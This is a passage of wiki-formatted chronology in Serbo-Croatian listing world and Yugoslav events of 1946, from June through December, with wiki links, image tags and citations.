Osnovana "Jugoslovenska knjiga". * [[25. 6.]] - Gen. Lucius Clay obustavlja demontažu industrije u američkoj zoni Nemačke, dok se ne utvrdi hoće li zemlja biti ekonomska jedinica. * [[26. 6.]] - [[Kineski građanski rat]] se nastavlja punom snagom nakon primirja, nacionalisti pokreću kampanju protiv komunista. * [[27. 6.]] - Donesen je Zakon o kanadskom državljanstvu, kojim je ono od 1. januara odvojeno od britanskog. * 27. 6. - Ministri Velike četvorke dodeljuju Dodekaneze Grčkoj, nekoliko italijanskih mesta Francuskoj (Briga, Tenda, Mont Cenis). * [[28. 6.]] - Drugi kontrolni sporazum u Austriji: smanjena dominacija saveznika nad vlastima. Procenjuje se da su Sovjeti za godinu dana poslali na istok industrijsku opremu vrednu pola milijarde dolara. * [[29. 6.]] - Britanci pokrenuli Operaciju Agatha u Palestini: uhapšeno 2.700 Jevreja. * [[30. 6.]] - U [[Poljska|Poljskoj]] održan referendum o ukidanju Senata, distribuciji zemlje, nacionalizaciji industrije i novim granicama. * 30. 6. - Neredi u Trstu, američka patrola ranjena od granate, neredi i štrajk i sledećih dana. (NYT) === Jul/Juli/Srpanj === [[Datoteka:Able nuclear test at Bikini atoll 1946.jpg|mini|300px|Proba na Bikiniju]] * [[1. 7.]] - Američka [[Operacija Crossroads]], test Able na pacifičkom [[atol Bikini|atolu Bikini]]: prva mirnodopska atomska proba i prva detonacija atomske bombe od Japana prošlog avgusta. Isprobavan je efekat na flotu brodova. * 1. 7. - [[Sarawak]] postaje britanska krunska kolonija (deo Malezije od 1963). * [[3. 7.]] - [[Enver Hodža]] završio posetu Beogradu. * [[4. 7.]] - {{flag|Filipini}} postižu samostalnost nakon 47 godina vladavine [[SAD]] i 381 godinu zapadne vlasti. * 4. 7. - [[Pogrom u Kielcu]]: u poljskom mestu [[Kielce]] ubijeno 42 Jevreja povratnika iz konc-logora, nakon antisemitskih kleveta - Jevreji nakon ovoga masovno napuštaju Poljsku. * [[5. 7.]] - U Parizu predstavljen [[bikini]], kreacija [[Louis Réard|Louisa Réarda]]. Pre oko mesec dana, [[Jacques Heim]] je predstavio ''atome'', dvodelni kupaći kostim oskudniji nego '30-tih, ali suzdržaniji od Reardovog, tako da će se u početku bolje prodavati. * [[6. 7.]] - Neredi u Trstu zbog odluke o "internacionalizaciji" grada. * [[7. 7.]] - Komunistička direktiva u Kini pokreće 18 meseci konfiskacije imovine zemljoposednika - mnogi su ubijeni. * [[9. 7.]] - Ugovor o prijateljstvu i uzajamnoj pomoći između Albanije i Jugoslavije. * [[10. 7.]] - Nehru izjavljuje da provincije ne trebaju biti obavezne pridruživati se grupama i da Indijski nacionalni kongres nije obvezan planom Kabinetske misije - nakon ovoga i Muslimanska liga odustaje od plana 29. 7.. * 13. 7. - Američka patrola ubila dvojicu jugoslovenskih vojnika na Morganovoj liniji kod Trsta. (NYT) * [[14. 7.]] - Objavljena "Zdravoramska knjiga o negovanju bebe i deteta" [[Benjamin Spock|Benjamina Spocka]]. * [[15. 7.]] - Anglo-američki zajam: SAD daju 3,75 milijardi dolara zajma Ujedinjenom Kraljevstvu, i Kanada 1,19 milijardi, s kamatom od 2% - uslov konvertibilnosti sterlinga će izazvati problem sledeće godine (otplaćeno 2006). * [[17. 7.]] - [[Draža Mihailović]] je streljan dva dana nakon smrtne presude. * 17. 7. - Švedska pobedila Jugoslaviju 3:2 u finalu evropske zone Davis cupa. * [[18. 7.]] - CK KPJ preko sindikata organizuje demonstracije protiv [[Francisko Franko|Franka]], povodom 10-godišnjice njegovog puča u Španiji (potežu se i pitanja Trsta i Julijske krajine, kritika Zapada). * [[19. 7.]] - Jugoslavija izgubila od švedskog domaćina u finalu evropske zone [[Davis Cup]]-a sa 3:2 (za Jugoslaviju igrali [[Dragutin Mitić]] i [[Josip Palada]]). * 19. 7. - Na sarajevskoj stanici Bjelave izmjereno 40 stepeni. * [[21. 7.]] - Prvi višestranački izbori u Turskoj, ali neslobodni, sa javnim glasanjem i tajnim brojanjem: velika većina za [[Republikanska narodna stranka|DžHP]]. * 21. 7. - Vrhunac nereda u La Pazu: ne znajući da je predsednik gen. [[Gualberto Villarroel]] podneo ostavku, gomila upada u predsedničku palatu, ubija ga i veša na banderu. * 21. 7. - Prvi put da mlaznjak sleti na nosač aviona, Phantom PH na USS Franklin D. Roosevelt. * [[22. 7.]] - Militantni [[cionizam|cionisti]] iz [[Irgun]]a podmetnuli bombu u jerusalimski hotel "King David", sedište britanskih vlasti u Palestinskom mandatu - 91 žrtva, od čega 28 Britanaca, 41 Arapa i 17 Jevreja. * [[23. 7.]] - [[Andrija Štampar]] je na čelu prelaznog komiteta UN nakon Krotkova iz SSSR (WHO osnovan 1948). * [[25. 7.]] - [[Dean Martin]] i [[Jerry Lewis]] prvi put nastupili kao tim (partnerstvo traje do 1956). * 25. 7. - Test Baker na Bikiniju: podmorska nuklearna eksplozija. * [[26. 7.]] - Generalni direktor UNRRA [[Fiorello H. La Guardia]] stigao u posetu Beogradu. * [[29. 7.]] - U [[Pariz]]u počela mirovna konferencija zemalja-pobednica u [[Drugi svetski rat|Drugom svetskom ratu]]. [[Pariški mirovni ugovor (1947)|Mirovni ugovori]], usaglašeni tokom zasedanja konferencije do [[16. oktobar|16. oktobra]], potpisani [[10. februar]]a [[1947]]. * [[31. 7.]] - Objavljen Morrison–Gradyjev plan ili Plan provincijske autonomije: samoupravne arapske i jevrejske provincije pod britanskim nadzorom, Jerusalim i Negev direktno pod Britancima - svi ga odbijaju. * leto - Velika suša dovodi do loše žetve u SSSR i gladi sa vrhuncem sledećeg proleća - broj mrtvih se procenjuje od nekoliko stotina hiljada do dva miliona. === Avgust/August/Kolovoz === * [[1. 8.]] - Vraćena [[mađarska forinta]], umesto [[Penge|pengova]], čime je okončana hiperinflacija u toj zemlji. Jedna forinta je zamenila 4×10²⁹ pengova (prošlog meseca je izdata novčanica od 100.000.000.000.000.000 pengova). * 1. 8. - Osnovan ''[[Scandinavian Airlines System]]'', konzorcij avio-kompanija Danske, Norveške i Švedske. * [[7. 8.]] - [[Kriza turskih moreuza]]: SSSR traži preispitivanje režima u Moreuzima i sazivanje nove konferencije - napetost traje do oktobra. Sovjeti imaju i pretenzije na teritorije na severoistoku Turske, koje su nekada pripadale carskoj Rusiji. * [[8. 8.]] - Prvi let šestomotornog elisnog bombardera [[Convair B-36]] Peacemaker - glavni prenosnik nuklearnog oružja 1948-55. * [[9. 8.]] - Kod [[Kranj]]a prisilno spušten američki avion C-47 koji je navodno zalutao usled oluje (povrede vazdušnog prostora traju od februara). * 9. 8. - Neredi u Gorici, verovatno u vezi sa nedavnim nacrtom ugovora i predloženim granicama. (NYT) * 9. 8. - Rezolucija X plenuma bugarskih komunista o makedonskom pitanju - za ujedinjenje [[Makedonci|Makedonaca]] oko [[SR Makedonija|NR Makedonije]], na osnovu ugovora o savezu Bugarske i Jugoslavije. * 9. 8. - U Lujzijani pronađeno telo linčovanog crnog veterana Johna Cecila Jonesa - slučaj će dobiti nacionalnu pažnju, Truman u decembru osniva Komitet o građanskim pravima. * [[10. 8.]] - U beogradskom [[Žarkovo|Žarkovu]] osnovan [[Vazduhoplovnotehnički institut]]. * [[12. 8.]]. - [[UK|Britanska]] je vlada naredila zaustavljanje useljavanja u [[Palestina|Palestinu]], a preostale [[Židovi|Židove]] koji su željeli imigrirati internirala je na [[Cipar]]. * [[14. 8.]] - Dekret orgbiroa CK SKP(b) "O časopisima 'Zvezda' i 'Lenjingrad'" početak je "[[Ždanovizam|Ždanovizma]]" u sovjetskoj kulturi. * [[15. 8.]] - Prikazan [[Alfred Hitchcock|Hitchcockov]] film ''[[Notorious (film, 1946)|Notorious]]''. * 15. 8. - Redovan program američke TV mreže [[DuMont Television Network|DuMont]] sa dve stanice, u Njujorku i Vašingtonu (mreža ugašena 1956). * [[16. 8.]] - "Dan direktne akcije" u [[Kalkuta|Kalkuti]], početak "Sedmice dugih noževa" u kojoj je poginulo nekoliko hiljada muslimana i hinduista u međusobnim obračunima, nakon što je [[Muhamed Ali Džina]] pozvao na generalni štrajk u podršku osnivanju Pakistana. * 16. 8. - [[Dumarsais Estimé]] je novi predsednik Haitija (do 1950) * [[18. 8.]] - [[Eksplozija na Vergaroli]] u [[Pula|Puli]], pod savezničkom vojnom administracijom, oko 70 mrtvih. * [[19. 8.]] - Kod [[Bled]]a oboren američki transportni avion C-47, pet mrtvih (ovaj i avion od 9. 8. spustili/oborili jugoslovenski lovci Jak-3). Poginuli letači dobili spomenik na Arlingtonu 1950. * [[20. 8.]] - Zvanično raspuštanje [[Wehrmacht]]a - na zapadu će biti osnovan [[Bundeswehr]] (1955), na istoku Nacionalna narodna armija (traje 1956-90). * 20. 8. - Američka 88. divizija paradira blizu Morganove linije. (NYT) * [[21. 8.]] - SAD zahtevaju od Beograda da oslobodi avijatičare u roku od 48 sati ili će stvar biti iznesena pred Savet bezbednosti. (NYT) * [[23. 8.]] - U britanskoj zoni, na zapadu Nemačke, reformiraju [[Pruska|pruske]] provincije: osnovana je [[Sjeverna Rajna-Vestfalija]], od Vestfalije i severnog dela Rajnske provincije, čemu je dogodine dodata [[Slobodna Država Lippe]]. Provincija [[Schleswig-Holstein]] postaje posebna zemlja. Provincija Hanover postaje država, ali samo do novembra. * 23. 8. - Prikazan film ''[[The Big Sleep (film, 1946)|The Big Sleep]]'' sa [[Humphrey Bogart|Bogartom]] i [[Lauren Bacall|Bacall]]. * [[24. 8.]] - Norma Jean Baker je potpisala ugovor sa 20th Century-Foxom pod novim imenom - [[Marilyn Monroe]] (ipak, prva značajnija uloga je tek u MGM-ovoj "Džungli na asfaltu" 1950). * 24. 8. - Komunistički lider Juan Feleo je otet i ubijen na Filipinima - dolazi do [[Hukbalahapska pobuna|Hukbalahapske pobune]] na ostrvu Luzon (do 1954). * ca. [[26. 8.]] - Poslanik FNRJ Izidor Cankar napušta Grčku. * [[27. 8.]]. - [[Francuski protektorat Laos]]: zaključen je sporazum kojim je Laos postao kraljevina u okviru Francuske unije (nezavisan 1953). * [[30. 8.]] - Protestna nota vlade FNRJ povodom preletanja američkih aviona. * 30. 8. - Završen [[Rupnikov proces]] u Ljubljani: [[Leon Rupnik]] i još dvojica na smrt; tri zatvorske kazne, biskup [[Gregorij Rožman]] i političar [[Miha Krek]] u odsustvu. * 30. 8. - U francuskoj zoni Njemačke osnovana država [[Porajnje-Falačka]]. * [[31. 8.]] - Francuske trupe napuštaju Liban, čime se okončava [[Mandat za Siriju i Liban]]. === Septembar/Rujan === * [[1. 9.]] - Plebiscit u Grčkoj, 68,4% za povratak kralja - podsticaj građanskom ratu. * 1. 9. - Titova nota izražava žaljenje zbog smrti američkih letača. (NYT) * [[2. 9.]] - Postavljena je privremena vlada Indije, na čelu je [[Jawaharlal Nehru]] kao potpredsednik izvršnog veća (muslimani ipak ulaze u oktobru). * [[3. 9.]] - Predsednik Truman je tajnom direktivom odobrio [[Operacija Spajalica|operaciju Spajalica]] i proširio je na još 1000 osoba. * 3 - 7. 9. - Četiri avionske nesreće u pet dana, kod Kopenhagena (Air France, 22 mrtvih), Pariza (Air France, 20), Elka u Nevadi (Trans-Luxury Airlines, 21 od 22) i kod Bathursta u Gambiji (British South American Airways, 23 od 24). * [[4. 9.]] - Izbija muslimansko-hinduističko ulično nasilje u Bombaju. * [[5. 9.]] - [[Sporazum De Gasperi-Gruber]]: [[Južni Tirol]] ostaje u Italiji, s autonomijom. * 5. 9. - Lučki radnici u SAD odbijaju da utovare brod sa UNRRA-inom pomoći za Jugoslaviju. (NYT) * [[6. 9.]] - Državni sekretar [[James F. Byrnes]] održao govor u [[Stuttgart]]u "Reformulacija politike o Nemačkoj", nazvan i "Govor nade": odbačen [[Morgenthauov plan]], Nemačka će biti rekonstruisana, naizgled dovedena u pitanje nova granica sa Poljskom. * 6. 9. - Grčki avion oboren iznad Jugoslavije. (NYT 7. 9., ili prisilno spušten, avion i pilot oslobođeni sledećeg meseca, NYT 21. 10.) * 8. 9. - Saveznički vojni policajci pucaju na projugoslovensku masu u Trst, nakon što je na njih bačena granata. (NYT) * [[10. 9.]] - Sestra Anjezë Gonxhe Bojaxhiu, još uvek jugoslovenska državljanka, doživela nadahnuće u Indiji da se posveti siromašnima - [[Majka Tereza]] će osnovati [[Misionarke milosrđa]] 1950. * [[13. 9.]] - "Bierutovi dekreti": osobe nemačke nacionalnosti su isključene iz poljske narodne zajednice. [[Datoteka:Coat of arms of Bulgaria (1948–1968).svg|mini|100px|Amblem NR Bugarske, 1948-67]] * [[15. 9.]] - Na osnovu plebiscita od pre sedam dana, proglašena je [[Narodna Republika Bugarska]]. * [[18. 9.]] - Uhapšen nadbiskup Stepinac. * 18. 9. - Brazil je dobio peti ustav: za razliku od [[Getúlio Vargas|Vargasovog]], sužena je moć predsednika (traje do 1967). * [[20. 9.]] - [[5. 10.]] - Ponovo pokrenut [[Kanski filmski festival 1946.|Kanski filmski festival]] (prvi je trebao biti održan u septembru 1939, Zlatna palma uvedena 1955). * [[23. 9.]] - Løgting, skupština [[Farski otoci|Farskih otoka]] glasa 12:11 za neovisnost, na osnovu plebiscita od 15. 9. - ali danski kralj ga raspušta sutradan. Otoci dobivaju široku autonomiju 1948. * [[24. 9.]] - Predsednik Truman dobio tajni Clifford-Elseyjev izveštaj: odnosi i sporazumi sa SSSR i kako ih Sovjeti krše - preporučeno "obuzdavanje i ograničavanje" njihovog uticaja (→ ''[[Containment]]''). * [[25. 9.]] - Bugarski ministar odbrane [[Damjan Velčev]] iz stranke "[[Zveno]]" smenjen pod sumnjom da je imao veze sa Dražom Mihailovićem<ref>Return to Diversity, A Political History of East Central Europe Since World War II - Joseph Rothschild & Nancy M. Wingfield, p. 116</ref>. * 25. 9. - Američki letači su sahranjeni na Arlingtonu, a lučki radnici glasaju da nastave utovar pomoći za Jugoslaviju. (NYT, služba za letače je držana i u njujorškoj crkvi sv. Save 29-tog) * [[26. 9.]] - Zatvorena američka čitaonica u Beogradu - opet otvorena u decembru ali uz ograničen opseg informacija. * 26. 9. - Grčki kralj [[Đorđe II Grčki|Đorđe II]] se vratio u zemlju. * 28. 9. - Grčki kralj [[Jorgos II od Grčke|Đorđe II]] se vratio u zemlju (umire pola godine kasnije). * [[29. 9.]] - Prva utakmica fudbalske reprezentacije Jugoslavije u zemlji: Jugoslavija - Čehoslovačka 4:2 na nedovršenom stadionu JNA u Beogradu<ref name="BajecDolničar1981-99"/>. * [[29. 9.]] - [[29. 10.]] - U Beogradu održana izložba "Slikarstvo i vajarstvo naroda Jugoslavije XIX i XX veka", kasnije i u Zagrebu i Ljubljani, kao i u istočnim zemljama do 1948.<ref>Milan Bajec, Ivan Dolničar, 1981. 114</ref>. === Oktobar/Listopad === [[Datoteka:Defendants in the dock at the Nuremberg Trials.jpg|mini|left|Optuženi na [[Nürnberški proces|Nürnberškom procesu]]]] * [[1. 10.]] - [[Nürnberški proces]]: izrečene su kazne - 12 smrtnih, jedna u odsustvu, sedam zatvorskih, trojica oslobođena. * 1. 10. - U [[UK]] osnovana [[Mensa International]]. * [[2. 10.]] - ''[[Faraway Hill]]'' je prva [[sapunica]] na TV mreži u SAD, na [[DuMont Television Network|DuMontu]]. * [[3. 10.]] - DC-4 udario u brdo na Njufaundlendu - sa 39 mrtvih, najgora avionska nesreća do tada. * 5/[[6. 10.]] - 11 tačaka u Negevu: Jevreji postavljaju kampove na severu Negeva, koji bi po Morrison–Gradyjevom planu pripao arapskoj provinciji. * [[6. 10.]] - Umro švedski premijer [[Per Albin Hansson]], naslediće ga [[Tage Erlander]] (do 1969). * [[7. 10.]] - Japanski parlament je usvojio novi [[ustav Japana|ustav]] - na snazi od sledeće godine. * 9. 10. - FNRJ će platiti 150.000 dolara za stradale avijatičare. (NYT) * [[10. 10.]] - Na međunarodnoj konferenciji u Parizu odobren mirovni sporazum sa Italijom - dogovoreno stvaranje [[Slobodni Teritorij Trsta|Slobodnog Teritorija Trsta]] (ugovor potpisan [[1947]]). * 10. 10. - Na jugoistoku današnjeg Bangladeša počinju Noakhaliski neredi, progon hinduista. Gandhi će boraviti u regionu od novembra do marta. [[Datoteka:Alojzije Stepinac on trial.jpg|mini|Nadbiskup [[Alojzije Stepinac]] na suđenju]] * [[11. 10.]] - Nadbiskup [[Alojzije Stepinac]] osuđen na 16 godina zatvora za veleizdaju i ratne zločine; na robiju osuđen i Ivan Šalić, a Erih Lisak na smrt (presuda Stepincu poništena 2016). * [[12. 10.]] - Industrijalizacija Brazila: u [[Volta Redonda|Volta Redondi]] otvorena ''Companhia Siderúrgica Nacional'', prva čeličana u Južnoj Americi (privatizovana 1993). * [[14. 10.]] - Osnovana [[Međunarodna organizacija za standardizaciju]] - ISO. * 14. 10. - Vatikan ekskomunicirao jugoslovenske zvaničnike povezane sa Stepinčevom osudom - nisu navedena imena, pretpostavlja se da je usmereno protiv Tita. * [[15. 10.]] - Posljednji sastanak Mirovne konferencije u Parizu, koji FNRJ bojkotuje. * 15. 10. - Osnovano Narodno pozorište "Toša Jovanović" u [[Zrenjanin]]u. * [[16. 10.]] - Rano ujutru obešena desetorica osuđenih na smrt u [[Nürnberški proces|Nürnberškom procesu]], Göring se ubio prethodne večeri. * 16. 10. - ''[[RMS Queen Elizabeth]]'' je konačno zaplovio kao luksuzni putnički brod, pošto je prevozio trupe tokom rata (plovi do 1969). * [[20. 10.]] - Izbori za državne skupštine u sovjetskoj nemačkoj zoni, najviše mandata dobija Socijalistička partija jedinstva. * 20. 10. - Ukinuta [[Rajnska pokrajina]] Pruske (dogodine i Pruska). * [[21. 10.]] - U Bamaku osnovana antikolonijalna partija Afričko demokratsko okupljanje, na čelu sa [[Félix Houphouët-Boigny|Félixom Houphouët-Boignyjem]]. * [[22. 10.]] - [[Incident u Krfskom kanalu]], 2. deo: britanski brodovi ''Saumarez'' i ''Volage'' naleteli na mine, poginula 44 mornara (za polaganje mina osumnjičeni Jugosloveni). * 22. 10. - Operacija Osoaviahim: Sovjeti su prebacili preko 2.200 nemačkih eksperata u SSSR * [[24. 10.]] - Prva fotografija Zemlje iz svemira je snimljena sa rakete V-2 No. 13 lansirane iz [[White Sands, New Mexico|White Sands]]. * 24. 10. - Počinju Biharski neredi u Indiji: hinduisti ciljaju muslimane do 11. 11., što je odgovor na Noakhaliske nerede na jugoistoku današnjeg Bangladeša. * [[27. 10.]] - Nakon što je ranije tokom meseca prihvaćen na plebiscitu od 53% glasača, donesen je novi [[Ustav Francuske (1946)|Ustav Francuske]] koji definira [[Četvrta Francuska Republika|Četvrtu republiku]] (zamenjen 1958). * [[28. 10.]] - [[Grčki građanski rat]]: [[Komunistička partija Grčke|KP Grčke]] osnovala Generalnu partizansku komandu na čelu sa [[Markos Vafiadis|Markosom Vafiadisom]], od decembra pod nazivom [[Demokratska armija Grčke]]. * [[29. 10.]] - [[Lucky Luciano]], koji je prošlog februara proteran iz SAD u Italiju, tajno stiže na Kubu. * [[31. 10.]] - Indonežanski nacionalisti uvode [[Indonezijska rupija|rupiju]] (inače se koristi holandsko-indijski gulden). === Novembar/Studeni === * [[1. 11.]] - Utakmica Toronto Huskies - New York Knickerbockers, prva je Košarkaške asocijacije Amerike, kasnije NBA. * 1. 11. - [[Karol Wojtyla]] (26) zaređen je za svećenika u Krakówu. * 1. 11. - Zvanični datum osnivanja [[Donja Saksonija|Donje Saksonije]] u britanskoj zoni Nemačke: Državi Hanover su priključeni Braunschweig, Oldenburg i Schaumburg-Lippe. * [[3. 11.]] - Izbori za Ustavotvornu skupštinu NR Crne Gore. * 3. 11. - [[Gabriel González Videla]] je novi predsednik Čilea (do 1952); ubrzo raskida sa komunističkim saveznicima, čiju partiju zabranjuje 1948. * 3. 11. - Antijugoslovenske demonstracije u Trstu, napadnuta štampa i Slovenci (NYT), dok je italijanski vicepremijer Togliatti u poseti u Beogradu. NYT izveštava 8. 11. da je Tito "ponudio" Trst za Goricu, što Italija odbija, kasnije tokom meseca se uz Goricu pominje i Tržič (Monfalcone, NYT 26. 11.). * [[4. 11.]] - Na snazi je povelja kojom je osnovan [[UNESCO]] - prva generalna konferencija je otvorena kasnije tokom meseca, za prvog direktora će biti izabran [[Julian Huxley]]. * [[5. 11.]] - Izbori za Kongres SAD: Republikanci preuzimaju većinu u oba doma, zbog nepopularnosti predsednika Trumana. Među novim kongresmenima su [[Richard Nixon]], [[John F. Kennedy]] (Dom) i [[Joseph McCarthy]] (Senat). Demokrati će za dve godine povratiti većine. * [[6. 11.]] - Apel masovnim organizacijama u Jugoslaviji za prikupljanje pomoći Albaniji, koju su krajem oktobra pogodile velike poplave. * [[7. 11.]] - Nakon 190 dana završena prva savezna radna akcija omladine na gradnji željezničke [[Pruga Brčko–Banovići|pruge Brčko–Banovići]], duge 190&nbsp;km. U akciji učestvovalo oko 70.000 osoba iz cijele zemlje i 2.000 iz inostranstva. * [[9. 11.]] - [[Sarajevska opera]] započela svoju umjetničku djelatnost svečanom premijerom "[[Prodana nevjesta]]" [[Bedrich Smetana|Bedricha Smetane]]. * [[10. 11.]] - Izbori za Ustavotvornu skupštinu NR Srbije i za Ustavotvorni Sabor NR Hrvatske - očekivana potvrda za Narodni front, uz veliku izlaznost. * 10. 11. - Prvi izbori za skupštinu francuske četvrte republike: komunisti dobijaju relativnu većinu. * 10. 11. - Zemljotres u peruanskom regionu Ancash odnosi procenjenih 1.400 žrtava. * [[12. 11.]] - U [[Indonezija|Indoneziji]] primirje između nacionalista i holandske armije. * 12. 11. - Prikazan Disneyjev film ''[[Song of the South]]''. * 12-[[13. 11.]] - Incident u Krfskom kanalu, 3. deo: Britanci čiste mine u albanskim teritorijalnim vodama. [[Datoteka:Serbia, Belgrade, Pančevo bridge, 11.05.2011.jpg|mini|220px|[[Pančevački most]]]] * [[14. 11.]] - [[Patrijarh srpski Gavrilo]] se vratio u zemlju. * [[15. 11.]] - Sporazum iz Linggadjatija: Holanđani priznaju faktičku indonežansku kontrolu Jave, Sumatre i Madure, predviđeno stvaranje federacije sa ostatkom ostrvlja. * novembar - Beduini pronašli prve [[Svici sa Mrtvog mora|Svitke sa Mrtvog mora]] * novembar - [[Grčki građanski rat]]: borbe oko mesta Skra blizu jugoslovenske granice. * [[16. 11.]] - Reforma [[japansko pismo|japanskog pisma]]: ''Tōyō kanji'' je nedefinitivan spisak od 1.850 zvaničnih [[kanji]]ja, umesto 6.000 tradicionalnih. * [[17. 11.]] - Franko-tajski sporazum: Tajland je vratio Francuzima teritorije date nakon rata 1940-41, u zamenu za deblokadu prijema u UN. * [[17. 11.|17]] - [[19. 11.]] - U Beogradu održan Prvi kongres Saveza književnika Jugoslavije - u znaku [[socrealizam|socrealizma]], ali uz uzimanje u obzir domaće tradicije (uvodni referat [[Radovan Zogović]]). Za predsednika Saveza izabran [[Ivo Andrić]], potpredsednici [[Oton Župančič]], [[Miroslav Krleža]], [[Isidora Sekulić]], [[Ra­dovan Zogović]], [[Isak Samokovlija]] i [[Blažo Koneski]], sekretar [[Čedomir Minderović]]<ref>Milan Bajec, Ivan Dolničar, 1981, str. 96</ref>. * [[19. 11.]] - Izbori u Rumuniji: zvanično, Nacionalni demokratski front (komunisti i ostali) uzima 348 od 414 mesta. * 19. 11. - Prve nove [[Države članice Ujedinjenih naroda|članice UN]] od osnivanja: [[Kraljevina Afganistan|Afganistan]], Island i Švedska (Tajland u decembru). * [[20. 11.]] - Francuski patrolni čamac zarobio kinesku džunku koja je krijumčarila benzin u luci Haiphong. Gerila Viet Minha zarobila čamac i posadu - Francuzi uputili ultimatum. * [[21. 11.]] - U Njujorku prikazan film ''[[The Best Years of Our Lives]]'', kritički i komercijalni uspeh. * [[23. 11.]] - [[Georgi Dimitrov]] preuzima bugarsku vladu od [[Kimon Georgijev|Kimona Georgijeva]] (do smrti 1949). * 23. 11. - [[Prvi indokineski rat]] počinje francuskim bombardovanjem [[vijetnam]]ske luke [[Hai Phong]], pri čemu ginu hiljade ljudi. * [[27. 11.]] - U Beogradu zaključen Ugovor o usklađivanju privrednih planova, o carinskoj uniji i o izjednačenju valute između FNRJ i NR Albanije<ref>Marović, B. [https://www.rastko.rs/rastko-al/zbornik1990/bmarovic-ugovori_l.php Međudržavni ugovori zaključeni između Jugoslavije i Albanije 1946. godine]. rastko.rs</ref> (skupština FNRJ ratifikovala 27. 12., NYT). * [[29. 11.]] - Krenuo drumski saobraćaj na obnovljenom [[Pančevački most|Pančevačkom mostu]] u Beogradu (prvi voz prošao [[7. 11.]]). * 29. 11. - Čelnik [[Estonska Sovjetska Socijalistička Republika|Estonske SSR]] Johannes Vares izvršio samoubistvo u svojoj rezidenciji. * novembar - mart - Gladna zima u Nemačkoj, najjača u regionu Severnog mora u 20. stoleću. === Decembar/Prosinac === * [[1. 12.]] - [[Miguel Alemán Valdés]] je predsednik Meksika nakon [[Manuel Ávila Camacho|M. A. Camacha]] (do 1952), prvi civil od 1920. Sprovodi program supstitucije uvoza i gradnje infrastrukture (→ [[Meksičko čudo]]), ali rastu i korupcija i [[ortački kapitalizam]]. * [[2. 12.]] - Osnovana [[Međunarodna komisija za lov na kitove]]. * [[3. 12.]] - [[Mijo Kerošević]], kasnije proglašen za narodnog heroja, poginuo kod Bijeljine u poteri za četničkim odmetnicima. * [[4. 12.]] - Usvojen novi bugarski ustav. * [[5. 12.]] - U FNRJ donesen Zakon o nacionalizaciji privatnih privrednih preduzeća, i to saveznog i republičkog značaja (mnoga su već pod sekvestrom): celokupno bankarstvo, spoljna trgovina i unutrašnja trgovina na veliko, kao i sva preduzeća saobraćaja i sredstava za vezu. * [[8. 12.]] - Sveslovenski kongres u Beogradu. * [[9. 12.]] - Okupila se Ustavotvorna skupština Indije, nema predstavnika Muslimanske lige. * [[10. 12.]] - Rezolucija 12 Saveta bezbednosti UN, u vezi Grčkog pitanja: predstavnici Grčke i Jugoslavije će biti pozvani da učestvuju u diskusiji, bez prava glasanja; Albanija i Bugarska su pozvane da daju izjave. * [[11. 12.]] - Generalna skupština [[Ujedinjene nacije|Ujedinjenih nacija]] osnovala [[UNICEF]], Međunarodni fond Ujedinjenih nacija za pomoć deci u zemljama razorenim ratom. * [[12. 12.]] - Rezolucijom Generalne skupštine, UN prekidaju odnose sa [[Francisco Franco|Frankovom]] Španijom (zabrana ukinuta 1950). [[Datoteka:Republic of mahabad and iranian azerbaijan 1945 1946.png|mini|200px|Kraj kurdske i azerske secesije u Iranu]] * 12. 12. - Iranske snage ušle u Tabriz, što znači pad secesionističke "[[Autonomna Republika Azerbejdžan|Azerbejdžanske narodne vlade]]". * [[14. 12.]] - Generalna skupština UN određuje osnivanje [[Starateljski savjet Ujedinjenih naroda|Starateljskog savjeta Ujedinjenih naroda]], za teritorije koje su ranije bile mandati Društva naroda. * [[15. 12.]] - Iranske snage ušle u [[Mahabad]], čime je pala [[Republika Mahabad|istoimena kurdska republika]]. * [[16. 12.]] - [[Léon Blum]] je na čelu poslednje privremene francuske vlade - "silvestrovska vlada", traje do sledećeg meseca. * 16. 12. - Osnovana modna kuća ''[[Dior]]'', sledećeg februara predstavljaju prvu kolekciju, nazvanu ''New Look''. * [[19. 12.]] - [[Prvi indokineski rat]] počinje Bitkom za Hanoj: sukob francuskih i Viet Minhovih snaga u Hanoju, Francuzi će staviti grad pod svoju punu kontrolu za dva meseca. SAD podržavaju Francuze protiv komunista u Viet Minhu. * 19. 12. - [[Grčki građanski rat]]: [[Rezolucija 15 Saveta bezbednosti Ujedinjenih nacija|Rezolucija 15 SB UN]]: ustanovljena Istražna komisija koja će ispitivati povrede grčke granice prema Albaniji, Jugoslaviji i Bugarskoj (Grčka optužuje Jugoslaviju za "agresiju" i pomaganje "revolucionarnih bandi"). * 19. 12. - Britanski premijer Attlee izjavio spremnost za ponudu nezavisnosti Burme. * [[20. 12.]] - Počinje [[Havanska konferencija]] američkih mafijaških bosova. [[Lucky Luciano]] je potvrdio svoje prvenstvo, izneo plan trgovine drogom u SAD, odlučivano je o likvidaciji [[Bugsy Siegel|Bugsyja Siegela]]. * 20. 12. - Prikazan film ''[[It's a Wonderful Life]]'' - komercijalno je slabo prošao, postaje božićni klasik od polovine '70-tih. * [[21. 12.]] - Nankaiski zemljotres praćen cunamijem u Japanu, najmanje 1.362 mrtvih. * [[22. 12.]] - Završeno suđenje nemačkim oficirima u Beogradu, među osuđenima na smrt je i [[August Meyszner]], ratni komandant SS i policije u Srbiji. * [[25. 12.]] - U Moskvi proradio nuklearni reaktor [[F-1 (reaktor)|F-1]], prvi u Evropi koji je postigao samoodrživu [[lančana reakcija|lančanu reakciju]]. * [[26. 12.]] - Otvoren [[Flamingo Las Vegas]], prvi luksuzni kazino i hotel u tom gradu - [[Bugsy Siegel]] ga je gradio mafijaškim pozajmicama po četvorostruko većoj ceni od predviđene (ubijen je sledećeg juna). * 26. 12. - Zvanično osnivanje [[Neofašizam|neofašističke]] partije [[Italijanski socijalni pokret-Nacionalna desnica|Italijanski socijalni pokret]] (do 1994). * [[31. 12.]] - [[Datoteka:Coat of arms of Montenegro (1947-1963).jpg|30px]] NR Crna Gora dobija ustav. * 31. 12. - Predsednik [[SAD]] [[Hari Truman]] Proklamacijom 2714 formalno proglašava kraj [[Drugi svetski rat|Drugog svetskog rata]]. === Kroz godinu === * [[Kineski građanski rat]] eskalira. * Osnovano elektrotehničko odeljenje na [[Beogradski univerzitet|Univerzitetu]] u Beogradu. * Osnovan [[Sarajevski balet]]. * Okončana američka okupacija [[Island]]a. * Jugoslavija ekipni prvak Balkana u [[šah]]u. * [[Milovan Zoričić]] iz Zagreba jedan od sudija [[Međunarodni sud pravde|Međunarodnog suda pravde]]. == 1946. u temama == * Rukovodstvo [[FNRJ]]: ** Predsednik Prezidijuma Narodne Skupštine: [[Ivan Ribar]] ** Predsednik Vlade: [[Josip 